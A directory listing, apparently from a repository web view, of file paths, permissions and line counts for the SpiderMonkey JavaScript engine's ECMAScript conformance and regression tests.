-rw-r--r--js/src/tests/ecma_6/RegExp/replace-compile.js21
-rw-r--r--js/src/tests/ecma_6/RegExp/replace-global-unicode.js18
-rw-r--r--js/src/tests/ecma_6/RegExp/replace-sticky-lastIndex.js23
-rw-r--r--js/src/tests/ecma_6/RegExp/replace-sticky.js21
-rw-r--r--js/src/tests/ecma_6/RegExp/replace-this.js12
-rw-r--r--js/src/tests/ecma_6/RegExp/replace-trace.js309
-rw-r--r--js/src/tests/ecma_6/RegExp/replace-twoBytes.js44
-rw-r--r--js/src/tests/ecma_6/RegExp/replace.js34
-rw-r--r--js/src/tests/ecma_6/RegExp/search-this.js12
-rw-r--r--js/src/tests/ecma_6/RegExp/search-trace.js76
-rw-r--r--js/src/tests/ecma_6/RegExp/search.js26
-rw-r--r--js/src/tests/ecma_6/RegExp/shell.js0
-rw-r--r--js/src/tests/ecma_6/RegExp/source.js29
-rw-r--r--js/src/tests/ecma_6/RegExp/split-deleted-flags.js11
-rw-r--r--js/src/tests/ecma_6/RegExp/split-flags-on-obj.js21
-rw-r--r--js/src/tests/ecma_6/RegExp/split-invalid-lastIndex.js31
-rw-r--r--js/src/tests/ecma_6/RegExp/split-limit.js14
-rw-r--r--js/src/tests/ecma_6/RegExp/split-obj.js12
-rw-r--r--js/src/tests/ecma_6/RegExp/split-prop-access.js19
-rw-r--r--js/src/tests/ecma_6/RegExp/split-this.js12
-rw-r--r--js/src/tests/ecma_6/RegExp/split-trace.js229
-rw-r--r--js/src/tests/ecma_6/RegExp/split.js30
-rw-r--r--js/src/tests/ecma_6/RegExp/sticky.js126
-rw-r--r--js/src/tests/ecma_6/RegExp/test-trailing.js31
-rw-r--r--js/src/tests/ecma_6/RegExp/toString.js42
-rw-r--r--js/src/tests/ecma_6/RegExp/unicode-back-reference.js39
-rw-r--r--js/src/tests/ecma_6/RegExp/unicode-braced.js166
-rw-r--r--js/src/tests/ecma_6/RegExp/unicode-character-class-escape.js75
-rw-r--r--js/src/tests/ecma_6/RegExp/unicode-class-braced.js236
-rw-r--r--js/src/tests/ecma_6/RegExp/unicode-class-empty.js25
-rw-r--r--js/src/tests/ecma_6/RegExp/unicode-class-ignoreCase.js28
-rw-r--r--js/src/tests/ecma_6/RegExp/unicode-class-lead-trail.js142
-rw-r--r--js/src/tests/ecma_6/RegExp/unicode-class-negated.js64
-rw-r--r--js/src/tests/ecma_6/RegExp/unicode-class-range.js28
-rw-r--r--js/src/tests/ecma_6/RegExp/unicode-class-raw.js65
-rw-r--r--js/src/tests/ecma_6/RegExp/unicode-disallow-extended.js117
-rw-r--r--js/src/tests/ecma_6/RegExp/unicode-everything.js59
-rw-r--r--js/src/tests/ecma_6/RegExp/unicode-ignoreCase-ascii.js45
-rw-r--r--js/src/tests/ecma_6/RegExp/unicode-ignoreCase-escape.js71
-rw-r--r--js/src/tests/ecma_6/RegExp/unicode-ignoreCase-negated.js19
-rw-r--r--js/src/tests/ecma_6/RegExp/unicode-ignoreCase.js2643
-rw-r--r--js/src/tests/ecma_6/RegExp/unicode-index.js17
-rw-r--r--js/src/tests/ecma_6/RegExp/unicode-lead-trail.js218
-rw-r--r--js/src/tests/ecma_6/RegExp/unicode-raw.js139
-rw-r--r--js/src/tests/ecma_6/Set/NaN-as-key.js56
-rw-r--r--js/src/tests/ecma_6/Set/browser.js0
-rw-r--r--js/src/tests/ecma_6/Set/forEach-selfhosted-behavior.js51
-rw-r--r--js/src/tests/ecma_6/Set/getter-name.js10
-rw-r--r--js/src/tests/ecma_6/Set/shell.js0
-rw-r--r--js/src/tests/ecma_6/Set/symbols.js27
-rw-r--r--js/src/tests/ecma_6/Statements/arrow-function-at-end-of-for-statement-head.js64
-rw-r--r--js/src/tests/ecma_6/Statements/arrow-function-in-for-statement-head.js33
-rw-r--r--js/src/tests/ecma_6/Statements/browser.js0
-rw-r--r--js/src/tests/ecma_6/Statements/for-in-with-declaration.js31
-rw-r--r--js/src/tests/ecma_6/Statements/for-in-with-destructuring-assignments.js130
-rw-r--r--js/src/tests/ecma_6/Statements/for-inof-coverinitname-destr-assign.js55
-rw-r--r--js/src/tests/ecma_6/Statements/for-inof-loop-const-declaration.js94
-rw-r--r--js/src/tests/ecma_6/Statements/for-inof-name-iteration-expression-contains-index-string.js43
-rw-r--r--js/src/tests/ecma_6/Statements/for-loop-declaration-contains-computed-name.js48
-rw-r--r--js/src/tests/ecma_6/Statements/for-loop-declaration-contains-initializer.js50
-rw-r--r--js/src/tests/ecma_6/Statements/for-of-iterator-primitive.js28
-rw-r--r--js/src/tests/ecma_6/Statements/for-of-var-with-initializer.js32
-rw-r--r--js/src/tests/ecma_6/Statements/if-constant-folding.js35
-rw-r--r--js/src/tests/ecma_6/Statements/property-reference-self-assignment.js38
-rw-r--r--js/src/tests/ecma_6/Statements/shell.js0
-rw-r--r--js/src/tests/ecma_6/Statements/try-completion.js482
-rw-r--r--js/src/tests/ecma_6/String/AdvanceStringIndex.js43
-rw-r--r--js/src/tests/ecma_6/String/IsRegExp.js24
-rw-r--r--js/src/tests/ecma_6/String/browser.js0
-rw-r--r--js/src/tests/ecma_6/String/codePointAt.js84
-rw-r--r--js/src/tests/ecma_6/String/fromCodePoint.js60
-rw-r--r--js/src/tests/ecma_6/String/internalUsage.js30
-rw-r--r--js/src/tests/ecma_6/String/iterator_edge_cases.js27
-rw-r--r--js/src/tests/ecma_6/String/make-normalize-generateddata-input.py70
-rw-r--r--js/src/tests/ecma_6/String/match-GetMethod.js28
-rw-r--r--js/src/tests/ecma_6/String/match.js31
-rw-r--r--js/src/tests/ecma_6/String/normalize-form-non-atom.js18
-rw-r--r--js/src/tests/ecma_6/String/normalize-generateddata-input.js18735
-rw-r--r--js/src/tests/ecma_6/String/normalize-generateddata-part0.js22
-rw-r--r--js/src/tests/ecma_6/String/normalize-generateddata-part1-not-listed.js38
-rw-r--r--js/src/tests/ecma_6/String/normalize-generateddata-part1.js22
-rw-r--r--js/src/tests/ecma_6/String/normalize-generateddata-part2.js22
-rw-r--r--js/src/tests/ecma_6/String/normalize-generateddata-part3.js22
-rw-r--r--js/src/tests/ecma_6/String/normalize-generic.js20
-rw-r--r--js/src/tests/ecma_6/String/normalize-parameter.js19
-rw-r--r--js/src/tests/ecma_6/String/normalize-rope.js23
-rw-r--r--js/src/tests/ecma_6/String/raw.js55
-rw-r--r--js/src/tests/ecma_6/String/replace-GetMethod.js24
-rw-r--r--js/src/tests/ecma_6/String/replace.js19
-rw-r--r--js/src/tests/ecma_6/String/search-GetMethod.js24
-rw-r--r--js/src/tests/ecma_6/String/search.js27
-rw-r--r--js/src/tests/ecma_6/String/shell.js59
-rw-r--r--js/src/tests/ecma_6/String/split-GetMethod.js24
-rw-r--r--js/src/tests/ecma_6/String/split-order.js22
-rw-r--r--js/src/tests/ecma_6/String/split.js19
-rw-r--r--js/src/tests/ecma_6/String/string-code-point-upper-lower-mapping.js396
-rw-r--r--js/src/tests/ecma_6/String/unicode-braced.js64
-rw-r--r--js/src/tests/ecma_6/Symbol/as-base-value.js87
-rw-r--r--js/src/tests/ecma_6/Symbol/browser.js0
-rw-r--r--js/src/tests/ecma_6/Symbol/comparisons.js34
-rw-r--r--js/src/tests/ecma_6/Symbol/constructor.js35
-rw-r--r--js/src/tests/ecma_6/Symbol/conversions.js89
-rw-r--r--js/src/tests/ecma_6/Symbol/enumeration-order.js40
-rw-r--r--js/src/tests/ecma_6/Symbol/enumeration.js52
-rw-r--r--js/src/tests/ecma_6/Symbol/equality.js30
-rw-r--r--js/src/tests/ecma_6/Symbol/errors.js17
-rw-r--r--js/src/tests/ecma_6/Symbol/for-in-order.js33
-rw-r--r--js/src/tests/ecma_6/Symbol/for.js31
-rw-r--r--js/src/tests/ecma_6/Symbol/json-stringify-keys.js19
-rw-r--r--js/src/tests/ecma_6/Symbol/json-stringify-values.js33
-rw-r--r--js/src/tests/ecma_6/Symbol/keyFor.js15
-rw-r--r--js/src/tests/ecma_6/Symbol/property-accessor.js39
-rw-r--r--js/src/tests/ecma_6/Symbol/property-basics.js44
-rw-r--r--js/src/tests/ecma_6/Symbol/property-inheritance.js50
-rw-r--r--js/src/tests/ecma_6/Symbol/property-nonwritable.js31
-rw-r--r--js/src/tests/ecma_6/Symbol/property-reflection.js136
-rw-r--r--js/src/tests/ecma_6/Symbol/realms.js36
-rw-r--r--js/src/tests/ecma_6/Symbol/shell.js0
-rw-r--r--js/src/tests/ecma_6/Symbol/species.js30
-rw-r--r--js/src/tests/ecma_6/Symbol/surfaces.js34
-rw-r--r--js/src/tests/ecma_6/Symbol/toPrimitive.js39
-rw-r--r--js/src/tests/ecma_6/Symbol/toString.js27
-rw-r--r--js/src/tests/ecma_6/Symbol/toStringTag.js155
-rw-r--r--js/src/tests/ecma_6/Symbol/typed-arrays.js17
-rw-r--r--js/src/tests/ecma_6/Symbol/typeof.js11
-rw-r--r--js/src/tests/ecma_6/Symbol/valueOf.js22
-rw-r--r--js/src/tests/ecma_6/Symbol/well-known.js41
-rw-r--r--js/src/tests/ecma_6/Syntax/browser.js0
-rw-r--r--js/src/tests/ecma_6/Syntax/declaration-forbidden-in-label.js34
-rw-r--r--js/src/tests/ecma_6/Syntax/escaped-let-static-identifier.js57
-rw-r--r--js/src/tests/ecma_6/Syntax/escaped-strict-reserved-words-and-yield.js105
-rw-r--r--js/src/tests/ecma_6/Syntax/identifier_vertical_tilde.js20
-rw-r--r--js/src/tests/ecma_6/Syntax/identifiers-with-extended-unicode-escape.js222
-rw-r--r--js/src/tests/ecma_6/Syntax/keyword-unescaped-requirement.js68
-rw-r--r--js/src/tests/ecma_6/Syntax/let-as-label.js35
-rw-r--r--js/src/tests/ecma_6/Syntax/shell.js0
-rw-r--r--js/src/tests/ecma_6/Syntax/statement-versus-statementlistitem.js148
-rw-r--r--js/src/tests/ecma_6/Syntax/unicode_other_id_continue.js45
-rw-r--r--js/src/tests/ecma_6/Syntax/unicode_other_id_start.js48
-rw-r--r--js/src/tests/ecma_6/Syntax/yield-as-identifier.js54
-rw-r--r--js/src/tests/ecma_6/TemplateStrings/browser.js2
-rw-r--r--js/src/tests/ecma_6/TemplateStrings/debugLineNumber.js50
-rw-r--r--js/src/tests/ecma_6/TemplateStrings/lineNumber.js72
-rw-r--r--js/src/tests/ecma_6/TemplateStrings/noSubst.js148
-rw-r--r--js/src/tests/ecma_6/TemplateStrings/shell.js1
-rw-r--r--js/src/tests/ecma_6/TemplateStrings/tagTempl.js291
-rw-r--r--js/src/tests/ecma_6/TemplateStrings/templLit.js118
-rw-r--r--js/src/tests/ecma_6/TypedArray/Tconstructor-fromTypedArray-byteLength.js17
-rw-r--r--js/src/tests/ecma_6/TypedArray/browser.js0
-rw-r--r--js/src/tests/ecma_6/TypedArray/constructor-ArrayBuffer-species-wrap.js63
-rw-r--r--js/src/tests/ecma_6/TypedArray/constructor-ArrayBuffer-species.js51
-rw-r--r--js/src/tests/ecma_6/TypedArray/constructor-iterable-generator.js16
-rw-r--r--js/src/tests/ecma_6/TypedArray/constructor-iterable-modified-array-iterator-next.js28
-rw-r--r--js/src/tests/ecma_6/TypedArray/constructor-iterable-modified-array-iterator.js28
-rw-r--r--js/src/tests/ecma_6/TypedArray/constructor-iterable-nonpacked-array.js17
-rw-r--r--js/src/tests/ecma_6/TypedArray/constructor-iterable-not-callable.js15
-rw-r--r--js/src/tests/ecma_6/TypedArray/constructor-iterable-packed-array-side-effect.js17
-rw-r--r--js/src/tests/ecma_6/TypedArray/constructor-iterable-packed-array.js16
-rw-r--r--js/src/tests/ecma_6/TypedArray/constructor-iterable-undefined-or-null.js22
-rw-r--r--js/src/tests/ecma_6/TypedArray/constructor-iterator-primitive.js29
-rw-r--r--js/src/tests/ecma_6/TypedArray/constructor-non-detached.js15
-rw-r--r--js/src/tests/ecma_6/TypedArray/constructor-not-callable.js10
-rw-r--r--js/src/tests/ecma_6/TypedArray/constructor-undefined-args.js14
-rw-r--r--js/src/tests/ecma_6/TypedArray/constructor_bad-args.js13
-rw-r--r--js/src/tests/ecma_6/TypedArray/detached-array-buffer-checks.js109
-rw-r--r--js/src/tests/ecma_6/TypedArray/element-setting-converts-using-ToNumber.js90
-rw-r--r--js/src/tests/ecma_6/TypedArray/entries.js38
-rw-r--r--js/src/tests/ecma_6/TypedArray/every-and-some.js249
-rw-r--r--js/src/tests/ecma_6/TypedArray/fill.js65
-rw-r--r--js/src/tests/ecma_6/TypedArray/filter-species.js56
-rw-r--r--js/src/tests/ecma_6/TypedArray/find-and-findIndex.js52
-rw-r--r--js/src/tests/ecma_6/TypedArray/forEach.js93
-rw-r--r--js/src/tests/ecma_6/TypedArray/from_basics.js42
-rw-r--r--js/src/tests/ecma_6/TypedArray/from_constructor.js36
-rw-r--r--js/src/tests/ecma_6/TypedArray/from_errors.js76
-rw-r--r--js/src/tests/ecma_6/TypedArray/from_iterable.js49
-rw-r--r--js/src/tests/ecma_6/TypedArray/from_mapping.js45
-rw-r--r--js/src/tests/ecma_6/TypedArray/from_realms.js32
-rw-r--r--js/src/tests/ecma_6/TypedArray/from_string.js24
-rw-r--r--js/src/tests/ecma_6/TypedArray/from_surfaces.js12
-rw-r--r--js/src/tests/ecma_6/TypedArray/from_this.js59
-rw-r--r--js/src/tests/ecma_6/TypedArray/getter-name.js16
-rw-r--r--js/src/tests/ecma_6/TypedArray/has-property-op.js22
-rw-r--r--js/src/tests/ecma_6/TypedArray/includes.js40
-rw-r--r--js/src/tests/ecma_6/TypedArray/indexOf-and-lastIndexOf.js117
-rw-r--r--js/src/tests/ecma_6/TypedArray/indexOf-never-returns-negative-zero.js7
-rw-r--r--js/src/tests/ecma_6/TypedArray/iterator.js42
-rw-r--r--js/src/tests/ecma_6/TypedArray/join.js48
-rw-r--r--js/src/tests/ecma_6/TypedArray/keys.js36
-rw-r--r--js/src/tests/ecma_6/TypedArray/lastIndexOf-never-returns-negative-zero.js7
-rw-r--r--js/src/tests/ecma_6/TypedArray/map-and-filter.js274
-rw-r--r--js/src/tests/ecma_6/TypedArray/map-species.js56
-rw-r--r--js/src/tests/ecma_6/TypedArray/object-defineproperty.js68
-rw-r--r--js/src/tests/ecma_6/TypedArray/of.js92
-rw-r--r--js/src/tests/ecma_6/TypedArray/prototype-constructor-identity.js55
-rw-r--r--js/src/tests/ecma_6/TypedArray/reduce-and-reduceRight.js188
-rw-r--r--js/src/tests/ecma_6/TypedArray/reverse.js38
-rw-r--r--js/src/tests/ecma_6/TypedArray/seal-and-freeze.js48
-rw-r--r--js/src/tests/ecma_6/TypedArray/set-negative-offset.js35
-rw-r--r--js/src/tests/ecma_6/TypedArray/set-same-buffer-different-source-target-types.js41
-rw-r--r--js/src/tests/ecma_6/TypedArray/set.js21
-rw-r--r--js/src/tests/ecma_6/TypedArray/shell.js114
-rw-r--r--js/src/tests/ecma_6/TypedArray/slice-species.js49
-rw-r--r--js/src/tests/ecma_6/TypedArray/slice.js45
-rw-r--r--js/src/tests/ecma_6/TypedArray/sort_basics.js73
-rw-r--r--js/src/tests/ecma_6/TypedArray/sort_comparators.js32
-rw-r--r--js/src/tests/ecma_6/TypedArray/sort_errors.js87
-rw-r--r--js/src/tests/ecma_6/TypedArray/sort_globals.js9
-rw-r--r--js/src/tests/ecma_6/TypedArray/sort_small.js38
-rw-r--r--js/src/tests/ecma_6/TypedArray/sort_snans.js72
-rw-r--r--js/src/tests/ecma_6/TypedArray/sorting_buffer_access.js15
-rw-r--r--js/src/tests/ecma_6/TypedArray/subarray-species.js63
-rw-r--r--js/src/tests/ecma_6/TypedArray/subarray.js29
-rw-r--r--js/src/tests/ecma_6/TypedArray/toLocaleString-detached.js38
-rw-r--r--js/src/tests/ecma_6/TypedArray/toLocaleString-nointl.js40
-rw-r--r--js/src/tests/ecma_6/TypedArray/toLocaleString.js80
-rw-r--r--js/src/tests/ecma_6/TypedArray/toString.js69
-rw-r--r--js/src/tests/ecma_6/TypedArray/uint8clamped-constructor.js9
-rw-r--r--js/src/tests/ecma_6/TypedArray/values.js37
-rw-r--r--js/src/tests/ecma_6/WeakMap/browser.js0
-rw-r--r--js/src/tests/ecma_6/WeakMap/shell.js0
-rw-r--r--js/src/tests/ecma_6/WeakMap/symbols.js10
-rw-r--r--js/src/tests/ecma_6/browser.js0
-rw-r--r--js/src/tests/ecma_6/extensions/ArrayBuffer-slice-arguments-detaching.js81
-rw-r--r--js/src/tests/ecma_6/extensions/DataView-construct-arguments-detaching.js81
-rw-r--r--js/src/tests/ecma_6/extensions/DataView-set-arguments-detaching.js85
-rw-r--r--js/src/tests/ecma_6/extensions/RegExp-replace-lastParen.js12
-rw-r--r--js/src/tests/ecma_6/extensions/String-match-flags.js27
-rw-r--r--js/src/tests/ecma_6/extensions/TypedArray-set-object-funky-length-detaches.js66
-rw-r--r--js/src/tests/ecma_6/extensions/TypedArray-subarray-arguments-detaching.js112
-rw-r--r--js/src/tests/ecma_6/extensions/array-isArray-proxy-recursion.js41
-rw-r--r--js/src/tests/ecma_6/extensions/browser.js0
-rw-r--r--js/src/tests/ecma_6/extensions/element-setting-ToNumber-detaches.js36
-rw-r--r--js/src/tests/ecma_6/extensions/for-loop-with-lexical-declaration-and-nested-function-statement.js130
-rw-r--r--js/src/tests/ecma_6/extensions/keyword-unescaped-requirement-modules.js99
-rw-r--r--js/src/tests/ecma_6/extensions/keyword-unescaped-requirement.js43
-rw-r--r--js/src/tests/ecma_6/extensions/new-cross-compartment.js42
-rw-r--r--js/src/tests/ecma_6/extensions/reentrant-RegExp-creation-and-gc-during-new-RegExp-pattern-ToString.js41
-rw-r--r--js/src/tests/ecma_6/extensions/setImmutablePrototype.js195
-rw-r--r--js/src/tests/ecma_6/extensions/shell.js5
-rw-r--r--js/src/tests/ecma_6/shell.js235
-rw-r--r--js/src/tests/ecma_6/toLength.js41
-rw-r--r--js/src/tests/ecma_7/Array/browser.js0
-rw-r--r--js/src/tests/ecma_7/Array/includes.js59
-rw-r--r--js/src/tests/ecma_7/Array/shell.js0
-rw-r--r--js/src/tests/ecma_7/AsyncFunctions/BoundNames.js21
-rw-r--r--js/src/tests/ecma_7/AsyncFunctions/EarlyErrors.js51
-rw-r--r--js/src/tests/ecma_7/AsyncFunctions/arguments_callee.js31
-rw-r--r--js/src/tests/ecma_7/AsyncFunctions/await-newline.js15
-rw-r--r--js/src/tests/ecma_7/AsyncFunctions/clone.js22
-rw-r--r--js/src/tests/ecma_7/AsyncFunctions/constructor.js33
-rw-r--r--js/src/tests/ecma_7/AsyncFunctions/identity.js14
-rw-r--r--js/src/tests/ecma_7/AsyncFunctions/length.js12
-rw-r--r--js/src/tests/ecma_7/AsyncFunctions/methods.js61
-rw-r--r--js/src/tests/ecma_7/AsyncFunctions/property.js49
-rw-r--r--js/src/tests/ecma_7/AsyncFunctions/semantics.js169
-rw-r--r--js/src/tests/ecma_7/AsyncFunctions/shell.js0
-rw-r--r--js/src/tests/ecma_7/AsyncFunctions/syntax-arrow.js104
-rw-r--r--js/src/tests/ecma_7/AsyncFunctions/syntax-modules.js25
-rw-r--r--js/src/tests/ecma_7/AsyncFunctions/syntax.js86
-rw-r--r--js/src/tests/ecma_7/AsyncFunctions/toString.js24
-rw-r--r--js/src/tests/ecma_7/AsyncFunctions/yield.js71
-rw-r--r--js/src/tests/ecma_7/Destructuring/browser.js0
-rw-r--r--js/src/tests/ecma_7/Destructuring/duplicate-__proto__.js54
-rw-r--r--js/src/tests/ecma_7/Destructuring/rest-parameter-aray-iterator.js40
-rw-r--r--js/src/tests/ecma_7/Destructuring/rest-parameter-arguments.js101
-rw-r--r--js/src/tests/ecma_7/Destructuring/rest-parameter-function-length.js41
-rw-r--r--js/src/tests/ecma_7/Destructuring/rest-parameter-spread-call-optimization.js29
-rw-r--r--js/src/tests/ecma_7/Destructuring/rest-parameter-syntax.js87
-rw-r--r--js/src/tests/ecma_7/Destructuring/rest-parameter.js54
-rw-r--r--js/src/tests/ecma_7/Destructuring/shell.js0
-rw-r--r--js/src/tests/ecma_7/Math/Pow.js117
-rw-r--r--js/src/tests/ecma_7/Math/shell.js0
-rw-r--r--js/src/tests/ecma_7/Object/browser.js0
-rw-r--r--js/src/tests/ecma_7/Object/defineGetter-defineSetter.js92
-rw-r--r--js/src/tests/ecma_7/Object/entries.js94
-rw-r--r--js/src/tests/ecma_7/Object/shell.js0
-rw-r--r--js/src/tests/ecma_7/Object/values.js94
-rw-r--r--js/src/tests/ecma_7/SIMD/ToSource.js56
-rw-r--r--js/src/tests/ecma_7/SIMD/binary-operations.js785
-rw-r--r--js/src/tests/ecma_7/SIMD/bug1023145.js14
-rw-r--r--js/src/tests/ecma_7/SIMD/bug953270.js24
-rw-r--r--js/src/tests/ecma_7/SIMD/check.js214
-rw-r--r--js/src/tests/ecma_7/SIMD/comparisons.js349
-rw-r--r--js/src/tests/ecma_7/SIMD/constructors.js226
-rw-r--r--js/src/tests/ecma_7/SIMD/conversions.js1261
-rw-r--r--js/src/tests/ecma_7/SIMD/float64x2-arithmetic.js69
-rw-r--r--js/src/tests/ecma_7/SIMD/load-floats.js19
-rw-r--r--js/src/tests/ecma_7/SIMD/load-int16x8.js17
-rw-r--r--js/src/tests/ecma_7/SIMD/load-int32x4.js18
-rw-r--r--js/src/tests/ecma_7/SIMD/load-int8x16.js17
-rw-r--r--js/src/tests/ecma_7/SIMD/load-sab-buffer-compat.js49
-rw-r--r--js/src/tests/ecma_7/SIMD/load-unsigned-integers.js22
-rw-r--r--js/src/tests/ecma_7/SIMD/minmax.js85
-rw-r--r--js/src/tests/ecma_7/SIMD/replaceLane.js226
-rw-r--r--js/src/tests/ecma_7/SIMD/select-bitselect.js133
-rw-r--r--js/src/tests/ecma_7/SIMD/shell.js580
-rw-r--r--js/src/tests/ecma_7/SIMD/shifts.js202
-rw-r--r--js/src/tests/ecma_7/SIMD/splat.js97
-rw-r--r--js/src/tests/ecma_7/SIMD/store.js264
-rw-r--r--js/src/tests/ecma_7/SIMD/swizzle-shuffle.js507
-rw-r--r--js/src/tests/ecma_7/SIMD/toString.js90
-rw-r--r--js/src/tests/ecma_7/SIMD/typedobjects.js1077
-rw-r--r--js/src/tests/ecma_7/SIMD/unary-operations.js410
-rw-r--r--js/src/tests/ecma_7/String/shell.js0
-rw-r--r--js/src/tests/ecma_7/String/string-pad-start-end.js99
-rw-r--r--js/src/tests/ecma_7/Syntax/browser.js0
-rw-r--r--js/src/tests/ecma_7/Syntax/non-simple-with-strict-directive.js140
-rw-r--r--js/src/tests/ecma_7/Syntax/shell.js0
-rw-r--r--js/src/tests/ecma_7/TypedArray/browser.js0
-rw-r--r--js/src/tests/ecma_7/TypedArray/filter-validation.js185
-rw-r--r--js/src/tests/ecma_7/TypedArray/from-iterable-validation.js140
-rw-r--r--js/src/tests/ecma_7/TypedArray/from-non-iterable-validation.js140
-rw-r--r--js/src/tests/ecma_7/TypedArray/map-validation.js149
-rw-r--r--js/src/tests/ecma_7/TypedArray/of-validation.js140
-rw-r--r--js/src/tests/ecma_7/TypedArray/shell.js114
-rw-r--r--js/src/tests/ecma_7/TypedArray/slice-validation.js187
-rw-r--r--js/src/tests/ecma_7/TypedArray/subarray-validation.js110
-rw-r--r--js/src/tests/ecma_7/TypedObject/architecture.js55
-rw-r--r--js/src/tests/ecma_7/TypedObject/arraybuffer_isview.js33
-rw-r--r--js/src/tests/ecma_7/TypedObject/arrayequiv.js59
-rw-r--r--js/src/tests/ecma_7/TypedObject/arrayofstructs.js29
-rw-r--r--js/src/tests/ecma_7/TypedObject/arraytype.js136
-rw-r--r--js/src/tests/ecma_7/TypedObject/arrayzerolen.js17
-rw-r--r--js/src/tests/ecma_7/TypedObject/atopbuffer.js27
-rw-r--r--js/src/tests/ecma_7/TypedObject/atopbufferwithoffset.js51
-rw-r--r--js/src/tests/ecma_7/TypedObject/map-neutered-midway.js43
-rw-r--r--js/src/tests/ecma_7/TypedObject/memory.js97
-rw-r--r--js/src/tests/ecma_7/TypedObject/method_build.js141
-rw-r--r--js/src/tests/ecma_7/TypedObject/method_filter.js47
-rw-r--r--js/src/tests/ecma_7/TypedObject/method_from.js238
-rw-r--r--js/src/tests/ecma_7/TypedObject/method_map.js136
-rw-r--r--js/src/tests/ecma_7/TypedObject/method_reduce.js91
-rw-r--r--js/src/tests/ecma_7/TypedObject/numerictypes.js189
-rw-r--r--js/src/tests/ecma_7/TypedObject/objecttype.js38
-rw-r--r--js/src/tests/ecma_7/TypedObject/redimension.js57
-rw-r--r--js/src/tests/ecma_7/TypedObject/referencetypealiasing.js33
-rw-r--r--js/src/tests/ecma_7/TypedObject/referencetypecoercions.js70
-rw-r--r--js/src/tests/ecma_7/TypedObject/referencetypemultiple.js22
-rw-r--r--js/src/tests/ecma_7/TypedObject/referencetypetrace.js80
-rw-r--r--js/src/tests/ecma_7/TypedObject/referencetypeuninit.js30
-rw-r--r--js/src/tests/ecma_7/TypedObject/scalar_types.js68
-rw-r--r--js/src/tests/ecma_7/TypedObject/shell.js29
-rw-r--r--js/src/tests/ecma_7/TypedObject/simpleequiv.js25
-rw-r--r--js/src/tests/ecma_7/TypedObject/size_and_alignment.js61
-rw-r--r--js/src/tests/ecma_7/TypedObject/storageopaque.js33
-rw-r--r--js/src/tests/ecma_7/TypedObject/structequiv.js61
-rw-r--r--js/src/tests/ecma_7/TypedObject/structtypeenumerate.js36
-rw-r--r--js/src/tests/ecma_7/TypedObject/structtypegetownproperty.js28
-rw-r--r--js/src/tests/ecma_7/TypedObject/structtypeindexedfields.js31
-rw-r--r--js/src/tests/ecma_7/TypedObject/structtypeprototype.js80
-rw-r--r--js/src/tests/ecma_7/TypedObject/structtypereflection.js47
-rw-r--r--js/src/tests/ecma_7/TypedObject/structtypestructuralassign.js94
-rw-r--r--js/src/tests/ecma_7/browser.js0
-rw-r--r--js/src/tests/ecma_7/extensions/browser.js0
-rw-r--r--js/src/tests/ecma_7/extensions/parse-rest-destructuring-parameter.js27
-rw-r--r--js/src/tests/ecma_7/extensions/shell.js0
-rw-r--r--js/src/tests/ecma_7/shell.js205
-rw-r--r--js/src/tests/function-arguments-caller-changes.diff234
-rw-r--r--js/src/tests/js-test-driver-begin.js0
-rw-r--r--js/src/tests/js-test-driver-end.js3
-rw-r--r--js/src/tests/js1_1/README1
-rw-r--r--js/src/tests/js1_1/browser.js0
-rw-r--r--js/src/tests/js1_1/regress/browser.js0
-rw-r--r--js/src/tests/js1_1/regress/function-001.js45
-rw-r--r--js/src/tests/js1_1/regress/perfect.js47
-rw-r--r--js/src/tests/js1_1/regress/shell.js0
-rw-r--r--js/src/tests/js1_1/shell.js0
-rw-r--r--js/src/tests/js1_2/Array/array_split_1.js53
-rw-r--r--js/src/tests/js1_2/Array/browser.js0
-rw-r--r--js/src/tests/js1_2/Array/general1.js44
-rw-r--r--js/src/tests/js1_2/Array/general2.js59
-rw-r--r--js/src/tests/js1_2/Array/shell.js0
-rw-r--r--js/src/tests/js1_2/Array/slice.js89
-rw-r--r--js/src/tests/js1_2/Array/splice1.js119
-rw-r--r--js/src/tests/js1_2/Array/splice2.js116
-rw-r--r--js/src/tests/js1_2/Array/tostring_1.js93
-rw-r--r--js/src/tests/js1_2/Array/tostring_2.js49
-rw-r--r--js/src/tests/js1_2/Objects/browser.js0
-rw-r--r--js/src/tests/js1_2/Objects/shell.js0
-rw-r--r--js/src/tests/js1_2/Objects/toString-001.js87
-rw-r--r--js/src/tests/js1_2/README1
-rw-r--r--js/src/tests/js1_2/String/browser.js0
-rw-r--r--js/src/tests/js1_2/String/charCodeAt.js38
-rw-r--r--js/src/tests/js1_2/String/concat.js50
-rw-r--r--js/src/tests/js1_2/String/match.js29
-rw-r--r--js/src/tests/js1_2/String/shell.js0
-rw-r--r--js/src/tests/js1_2/String/slice.js90
-rw-r--r--js/src/tests/js1_2/browser.js0
-rw-r--r--js/src/tests/js1_2/function/Function_object.js54
-rw-r--r--js/src/tests/js1_2/function/Number.js52
-rw-r--r--js/src/tests/js1_2/function/String.js40
-rw-r--r--js/src/tests/js1_2/function/browser.js0
-rw-r--r--js/src/tests/js1_2/function/definition-1.js43
-rw-r--r--js/src/tests/js1_2/function/function-001-n.js44
-rw-r--r--js/src/tests/js1_2/function/length.js63
-rw-r--r--js/src/tests/js1_2/function/nesting-1.js31
-rw-r--r--js/src/tests/js1_2/function/nesting.js50
-rw-r--r--js/src/tests/js1_2/function/regexparg-1.js71
-rw-r--r--js/src/tests/js1_2/function/regexparg-2-n.js40
-rw-r--r--js/src/tests/js1_2/function/shell.js0
-rw-r--r--js/src/tests/js1_2/function/tostring-1.js112
-rw-r--r--js/src/tests/js1_2/function/tostring-2.js155
-rw-r--r--js/src/tests/js1_2/operator/browser.js0
-rw-r--r--js/src/tests/js1_2/operator/equality.js39
-rw-r--r--js/src/tests/js1_2/operator/shell.js0
-rw-r--r--js/src/tests/js1_2/operator/strictEquality.js59
-rw-r--r--js/src/tests/js1_2/regexp/RegExp_dollar_number.js77
-rw-r--r--js/src/tests/js1_2/regexp/RegExp_lastIndex.js52
-rw-r--r--js/src/tests/js1_2/regexp/RegExp_lastMatch.js54
-rw-r--r--js/src/tests/js1_2/regexp/RegExp_lastMatch_as_array.js54
-rw-r--r--js/src/tests/js1_2/regexp/RegExp_lastParen.js68
-rw-r--r--js/src/tests/js1_2/regexp/RegExp_lastParen_as_array.js68
-rw-r--r--js/src/tests/js1_2/regexp/RegExp_leftContext.js58
-rw-r--r--js/src/tests/js1_2/regexp/RegExp_leftContext_as_array.js58
-rw-r--r--js/src/tests/js1_2/regexp/RegExp_object.js56
-rw-r--r--js/src/tests/js1_2/regexp/RegExp_rightContext.js58
-rw-r--r--js/src/tests/js1_2/regexp/RegExp_rightContext_as_array.js58
